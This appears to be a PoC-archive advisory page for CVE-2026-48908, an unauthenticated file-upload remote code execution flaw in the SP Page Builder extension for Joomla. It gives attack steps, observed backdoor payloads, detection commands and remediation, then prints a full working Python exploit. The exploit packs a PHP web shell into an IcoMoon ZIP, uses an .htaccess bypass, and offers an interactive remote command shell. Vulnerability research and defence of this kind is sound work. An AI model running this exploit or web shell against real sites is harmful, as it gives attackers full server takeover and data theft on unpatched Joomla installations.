PoC Archive PoC Archive
CVE-2026-48908 category: web CVSS 10 (CRITICAL) KEV EPSS 88%
Patched

SP Page Builder (Joomla) Unauthenticated File Upload RCE (CVE-2026-48908)

Published: 2026-06-30 • Researcher: Ashraf Zaryouh / 0xBlackash (initial PoC); root-cause/ITW payload research: mysites.guru; mass-scan PoC: ayiezola (fork of papageo75/CVE-2026-48908-PoC)

Target software SP Page Builder extension for Joomla (joomshaper.net)
Affected versions 1.0.0 through 6.6.1
Status Weaponized — public PoC with mass-scan support, added to CISA KEV 2026-07-07, confirmed active in-the-wild exploitation
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 88%

Confirmed exploited in the wild. Added to CISA KEV 2026-07-07. Federal remediation deadline 2026-07-10.

EPSS 88.1% · 100th percentile

Severity
Critical
CVE
CVE-2026-48908 (GHSA-8fwr-8fxr-8v2p)
Category
web
Affected product
SP Page Builder extension for Joomla (joomshaper.net)
Affected versions
1.0.0 through 6.6.1
Disclosed
2026-06-30
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-06-30
Last Updated2026-07-11
Author / ResearcherAshraf Zaryouh / 0xBlackash (initial PoC); root-cause/ITW payload research: mysites.guru; mass-scan PoC: ayiezola (fork of papageo75/CVE-2026-48908-PoC)
CVE / AdvisoryCVE-2026-48908 (GHSA-8fwr-8fxr-8v2p)
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv4, Joomla! Project CNA; AV:N/AC:L/AT:N/PR:N/UI:N) — also reported as 9.8 under CVSS 3.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — public PoC with mass-scan support, added to CISA KEV 2026-07-07, confirmed active in-the-wild exploitation
TagsRCE, unauthenticated, file-upload, PHP-webshell, Joomla, CMS, access-control, Python, CVSS-10, kev, backdoor, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemSP Page Builder extension for Joomla (joomshaper.net)
Versions Affected1.0.0 through 6.6.1
Language / PlatformPython (PoC); PHP / Joomla (target)
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes (HTTP/HTTPS)

Summary

CVE-2026-48908 is a CVSS 10.0 unauthenticated remote code execution vulnerability in SP Page Builder, one of the most widely used Joomla page-builder extensions (joomshaper.net). The asset.uploadCustomIcon endpoint enforces no authentication, no authorisation, and no file-type restrictions, allowing any unauthenticated attacker to upload a crafted IcoMoon ZIP archive containing a PHP web shell. The uploaded shell is immediately accessible and provides full server-side code execution. Fixed in SP Page Builder 6.6.2.

Update (2026-07-11): CISA added this CVE to its Known Exploited Vulnerabilities (KEV) catalog on 2026-07-07, citing confirmed active exploitation. Researchers at mysites.guru documented real-world payloads that go well beyond a bare webshell: attackers plant hidden Super Administrator accounts and a full PHP file-manager backdoor for durable, re-enterable access (details below). A second, mass-scan-capable public PoC (ayiezola/CVE-2026-48908, forked from papageo75/CVE-2026-48908-PoC) has also since surfaced.

Vulnerability Details

Root Cause

The com_sppagebuilder component exposes the asset.uploadCustomIcon task to unauthenticated HTTP requests. The handler:

  • Does not check Joomla session tokens or user authentication state.
  • Does not validate or restrict the file types within the uploaded ZIP archive.
  • Extracts uploaded archive contents directly to the web root, making PHP files web-accessible.

CWE-284 (Improper Access Control).

Attack Steps

  1. Identify target running SP Page Builder 1.0.0 – 6.6.1.
  2. Create an IcoMoon-format ZIP archive containing a PHP web shell (e.g., cmd.php).
  3. POST the archive to /?option=com_sppagebuilder&task=asset.uploadCustomIcon.
  4. The server extracts the ZIP; the PHP file lands in a web-accessible directory.
  5. Send HTTP GET/POST to the uploaded shell URL to execute arbitrary OS commands.

Impact

  • Full unauthenticated remote code execution as the web server user.
  • Database credential theft, lateral movement to backend systems.
  • Persistent access via web shell survival across deployments.
  • Administrative takeover of the Joomla instance.
  • Observed in-the-wild payload (per mysites.guru, post-KEV-listing): attackers are not stopping at a bare webshell. They create hidden Super Administrator accounts from a hardcoded username list (webeditor, contentmgr, sysadmin, webmaster, portaladmin, siteeditor, webmanager, cmsadmin, each suffixed with two digits) using username@secure.local email addresses — the dropper connects directly to the Joomla database, disables strict SQL mode, inserts the account into the Super Users group, and creates the matching Joomla asset rows so the account behaves like a native admin. They also deploy a “PHP File manager ver 1.4” backdoor (file browser, PHP console, SQL console) in multiple copies, typically under /images/<random>/fonts/ and as /media/com_admin/users.php, giving durable, re-enterable full-server access independent of the original upload path — meaning removing the original webshell alone does not clean the site.

Environment / Lab Setup

Output
Target:   Joomla CMS + SP Page Builder 1.0.0 – 6.6.1
Attacker: Python 3 with requests library

Proof of Concept

Run

Shell script
1
2
3
4
git clone https://github.com/0xBlackash/CVE-2026-48908
cd CVE-2026-48908
pip install requests
python3 CVE-2026-48908.py --url https://target.example.com

Expected Output

Output
[*] Target: https://target.example.com
[*] Uploading malicious IcoMoon ZIP...
[+] Upload successful.
[+] Web shell accessible at: https://target.example.com/components/com_sppagebuilder/assets/icons/cmd.php
[*] Testing RCE: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] RCE confirmed.

Detection & Indicators of Compromise

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
find /var/www/html/components/com_sppagebuilder/assets/ -name "*.php"

grep "uploadCustomIcon" /var/log/apache2/access.log | grep "POST"

find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -1

mysql -u root -e "SELECT username,email FROM joomla.jos_users WHERE usertype='Super Users';"
find /var/www/html/images/ -path "*/fonts/*.php"
find /var/www/html/media/com_admin/ -iname "users.php"
grep -rl "PHP File manager" /var/www/html/ 2>/dev/null

Remediation

ActionDetail
PatchUpgrade SP Page Builder to 6.6.2 or later, which adds authentication (Joomla admin / component-manage permission) and anti-CSRF token checks to every controller task, including asset.uploadCustomIcon.
Incident response if already compromisedPatching alone is insufficient — audit jos_users for unrecognized Super Administrator accounts (esp. @secure.local), and search the entire webroot (not just the icon upload directory) for planted PHP file-manager copies before considering the site clean.
AuditScan upload directories for unexpected PHP files; remove any found
WAFBlock POST requests to task=asset.uploadCustomIcon for unauthenticated users
HardenDisable ZIP extraction into web-accessible directories at the server level; disable PHP execution under /media and /images via web server config

References

Notes

Updated 2026-07-11 during a CVE discovery pass (NVD + CISA KEV + EPSS scoring): added CISA KEV listing (2026-07-07), the observed in-the-wild backdoor payload (hidden Super Administrator accounts + PHP file-manager backdoor) per mysites.guru’s research, and a second public PoC repo. Deliberately merged into this existing entry rather than creating a duplicate, since it documents the same CVE/root cause — just a later stage of the same disclosure’s lifecycle — not an independently-discovered variant.

CVE-2026-48908.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-48908.py
Unauthenticated Remote Code Execution in SP Page Builder for Joomla (<= 6.6.1)

Author: Ashraf Zaryouh (@0xBlackash)
GitHub : https://github.com/0xBlackash
Date   : June 2026

Description:
    Exploits improper access control in com_sppagebuilder task=asset.uploadCustomIcon
    Allows unauthenticated attackers to upload arbitrary PHP files via a crafted
    IcoMoon ZIP and achieve RCE.

⚠️  FOR EDUCATIONAL PURPOSES AND AUTHORIZED TESTING ONLY  ⚠️
    Unauthorized use against systems you do not own is illegal.
"""

import argparse
import io
import json
import random
import string
import sys
import zipfile

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ================= CONFIG =================
BANNER = r"""
 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                         
                CVE-2026-48908  •  0xBlackash
"""

USER_AGENT = "Mozilla/5.0 (compatible; 0xBlackash-Research/1.0; +https://github.com/0xBlackash)"
TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon"
ICONBASE = "media/com_sppagebuilder/assets/iconfont"


def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))


def normalize_url(url):
    url = url.strip().rstrip('/')
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    return url


def build_malicious_zip(name, shell_name, token, use_htaccess=False):
    shell_content = f'''<?php
// CVE-2026-48908 webshell - 0xBlackash
if ($_GET['t'] ?? '' !== '{token}') {{
    http_response_code(404);
    die();
}}
if (isset($_GET['c'])) {{
    system($_GET['c']);
}} elseif (isset($_GET['cmd'])) {{
    system($_GET['cmd']);
}}
echo "0xBlackash was here\\n";
?>
'''

    selection = json.dumps({
        "IcoMoonType": "selection",
        "icons": [],
        "metadata": {"name": name},
        "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}}
    }).encode()

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
        z.writestr('selection.json', selection)
        z.writestr('style.css', b'.ico-test:before{content:"test";}')
        z.writestr(f'fonts/{name}.ttf', b'FAKEFONT')
        
        if use_htaccess:
            z.writestr('fonts/.htaccess', b'AddType application/x-httpd-php .PHP\n')
            shell_rel = f'fonts/{shell_name}.PHP'
        else:
            shell_rel = f'fonts/{shell_name}.php'
        
        z.writestr(shell_rel, shell_content.encode())
    
    return buf.getvalue(), shell_rel


def upload_zip(session, base_url, zip_data, zip_name):
    files = {'custom_icon': (f'{zip_name}.zip', zip_data, 'application/zip')}
    try:
        r = session.post(f"{base_url}/{TASK}", files=files, verify=False, timeout=25)
        
        if "require admin access" in r.text.lower() or r.status_code == 403:
            return "PATCHED"
        
        data = r.json()
        if data.get('status'):
            css_path = data.get('data', {}).get('css_path', '')
            if css_path:
                return css_path.rsplit('/', 2)[0]  # iconfont dir
    except Exception:
        pass
    return None


def execute_command(session, base_url, shell_path, token, cmd="id"):
    params = {'t': token, 'c': cmd}
    try:
        r = session.get(f"{base_url}/{shell_path}", params=params, verify=False, timeout=20)
        return r.status_code, r.text.strip()
    except Exception as e:
        return None, str(e)


def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-48908 PoC by 0xBlackash")
    parser.add_argument("target", help="Target URL (e.g. https://example.com)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
    parser.add_argument("--cleanup", action="store_true", help="Attempt cleanup after exploitation")
    parser.add_argument("--token", default=random_string(16), help="Secret token (default: random)")
    args = parser.parse_args()

    base = normalize_url(args.target)
    session = requests.Session()
    session.headers.update({"User-Agent": USER_AGENT})

    print(f"[*] Target     : {base}")
    print(f"[*] Token      : {args.token}")
    print("[*] Testing vulnerability...")

    success = False
    methods = [False, True]  # normal .php then .PHP + .htaccess

    for use_htaccess in methods:
        name = "ico" + random_string(6)
        shell_name = "shell" + random_string(6)
        
        zip_data, shell_rel = build_malicious_zip(name, shell_name, args.token, use_htaccess)
        iconfont_dir = upload_zip(session, base, zip_data, name)
        
        if iconfont_dir == "PATCHED":
            print("[-] Target appears to be patched (6.6.2+)")
            sys.exit(1)
        
        if not iconfont_dir:
            continue
            
        shell_path = f"{iconfont_dir}/fonts/{shell_name}{'.PHP' if use_htaccess else '.php'}"
        
        code, output = execute_command(session, base, shell_path, args.token, "echo 0xB4CK4SH_42")
        
        if code == 200 and "0xB4CK4SH_42" in output:
            print(f"[+] SUCCESS! RCE confirmed via {'htaccess bypass' if use_htaccess else 'direct PHP'}")
            print(f"[+] Webshell   : {base}/{shell_path}?t={args.token}&c=<cmd>")
            success = True
            break

    if not success:
        print("[-] Exploitation failed. Target may not be vulnerable.")
        sys.exit(2)

    # Execute requested command
    if not args.shell:
        print(f"\n[*] Executing: {args.cmd}")
        _, out = execute_command(session, base, shell_path, args.token, args.cmd)
        print("="*80)
        print(out)
        print("="*80)

    # Interactive shell
    if args.shell:
        print("[+] Interactive shell started. Type 'exit' to quit.")
        while True:
            try:
                cmd = input("\n0xBlackash$ ")
                if cmd.lower() in ['exit', 'quit']:
                    break
                if cmd.strip():
                    _, out = execute_command(session, base, shell_path, args.token, cmd)
                    print(out)
            except (KeyboardInterrupt, EOFError):
                break

    if args.cleanup:
        print("[*] Cleanup requested (best effort)")
        cleanup_cmd = f"rm -rf {iconfont_dir.split('/')[-1]} 2>/dev/null || echo 'manual cleanup needed'"
        execute_command(session, base, shell_path, args.token, cleanup_cmd)

    print("\n[*] Done. Stay safe and patch your systems!")


if __name__ == "__main__":
    main()